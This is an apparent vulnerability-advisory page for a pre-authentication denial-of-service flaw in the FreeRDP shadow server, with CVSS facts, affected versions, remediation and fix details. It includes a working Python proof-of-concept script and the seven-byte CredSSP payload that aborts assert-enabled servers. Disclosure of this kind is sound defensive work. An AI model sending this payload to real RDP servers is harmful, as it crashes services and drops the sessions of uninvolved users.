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Unauthenticated abort in FreeRDP shadow server from CredSSP request

Priority MEDIUM 48CWE-476Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
None
Attack complexity
Low
Impact type
Denial of service
Confidentiality · integrity · availability
None · None · High
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-3pg4-5r42-wxvj. Fix status from GitHub. Impact type from CWE-476.

Summary

FreeRDP through 3.32.1 is affected when its shadow server uses Network Level Authentication. A CredSSP TSRequest that omits the negoTokens field leaves a NULL buffer that reaches a fatal reachable assertion (CWE-617) in WinPR. An unauthenticated remote attacker can abort the whole server process before authentication in builds with WinPR assertions enabled, which is the default.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

An unauthenticated client can crash an NLA-enabled FreeRDP shadow server by sending a CredSSP `TSRequest` containing only `version [0]` and omitting `negoTokens [1]`. `nla_decode_ts_request` leaves the initial `negoToken` SecBuffer zeroed when tag 1 is absent. `nla_server_authenticate` passes it to `credssp_auth_authenticate`, which calls `AcceptSecurityContext`. WinPR Negotiate's `guessMech` passes the buffer's null `pvBuffer` to `WinPrAsn1Decoder_InitMem`; its `WINPR_ASSERT(source)` aborts the entire process in builds with assertions enabled. The default CMake setting, `WITH_VERBOSE_WINPR_ASSERT=ON`, enables that fatal assertion even with `NDEBUG`. The seven-byte payload is `30 05 a0 03 02 01 06`. Preserved stock and AddressSanitizer shadow-server runs both logged the fatal assertion and exited with code 134 before authentication. A present-but-zero-length `negoTokens` control returned `SEC_E_INVALID_TOKEN` without killing the server. A focused real-source `WITH_VERBOSE_WINPR_ASSERT=OFF` plus `NDEBUG` test survived a null, zero-length input; this packet is not shown to crash that configuration. ### Reproduction ```sh DISPLAY=:99 ./server/shadow/cli/freerdp-shadow-cli /bind-address:127.0.0.1 /port:3361 /sam-file:./SAM /log-level:INFO python3 repro_tsrequest_assert.py 127.0.0.1 3361 ``` The SAM file must contain a local test account; the probe runs before authentication and requires no account credentials. ```python #!/usr/bin/env python3 """Reproducer: pre-auth shadow-server abort via a TSRequest without negoTokens. After the X.224 RDP_NEG_REQ/RSP exchange and the TLS handshake, the shadow server's NLA path calls the Negotiate SSP with an empty (NULL) token when the TSRequest contains only the version field. In builds with the default WITH_VERBOSE_WINPR_ASSERT=ON this trips WINPR_ASSERT(source) in WinPrAsn1Decoder_InitMem (asn1.c:885) and aborts the whole server process. Usage: python3 repro_tsrequest_assert.py [host] [port] # default 127.0.0.1 3333 """ import socket import ssl import struct import sys HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3333 PAYLOAD = bytes.fromhex("3005a003020106") def tpkt(p): return b"\x03\x00" + struct.pack(">H", len(p) + 4) + p def main(): s = socket.create_connection((HOST, PORT), timeout=5) s.settimeout(5) neg = struct.pack("<BBHI", 1, 0, 8, 2) # HYBRID (NLA) s.sendall(tpkt(bytes([14, 0xE0, 0, 0, 0, 0, 0]) + neg)) print("NEG_RSP:", s.recv(64).hex()) ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE try: ctx.maximum_version = ssl.TLSVersion.TLSv1_2 except Exception: pass ss = ctx.wrap_socket(s, server_hostname=HOST) print("TLS:", ss.version()) ss.sendall(PAYLOAD) print("sent:", PAYLOAD.hex(), f"({len(PAYLOAD)} bytes)") ss.settimeout(3) try: print("server response:", ss.recv(256).hex()) except OSError as e: print("no response:", e) ss.close() print("if the server was an assert-enabled build it has now aborted") if __name__ == "__main__": main() ``` In the preserved stock and ASan server runs at the assessed 3.32.1-dev0 revision, the probe printed `TLS: TLSv1.2` and `sent: 3005a003020106 (7 bytes)`; both server processes logged `WINPR_ASSERT(source)` at `WinPrAsn1Decoder_InitMem` and exited with status 134. A separate present-but-empty `negoTokens` control returned `SEC_E_INVALID_TOKEN` and kept the server alive. These outcomes are from archived runs, and 3.32.0 was confirmed by source inspection only. **Impact:** Unauthenticated remote denial of service of an affected shadow-server process, dropping its client sessions. No confidentiality, integrity, or code-execution effect was demonstrated. **Remediation:** Reject absent, null, or zero-length initial negotiation tokens before server-side SSPI dispatch; guard `guessMech` before ASN.1 initialization; return an invalid-token error rather than asserting on untrusted data. Test valid, missing, and present-empty tokens with verbose assertions both enabled and disabled.

Why it matters now

Fix Fixed FreeRDP (c): 3.32.2

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP (c)<= 3.32.13.32.2Patch availableGHSA-3pg4-5r42-wxvj
  • FreeRDP (c) Vendor— Affected <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-3pg4-5r42-wxvj

Remediation

Upgrade FreeRDP to version 3.32.2, which is the fixed version listed for this flaw.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-3pg4-5r42-wxvj FreeRDP (c) Fixed in 3.32.2 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-3pg4-5r42-wxvj

References

Sources

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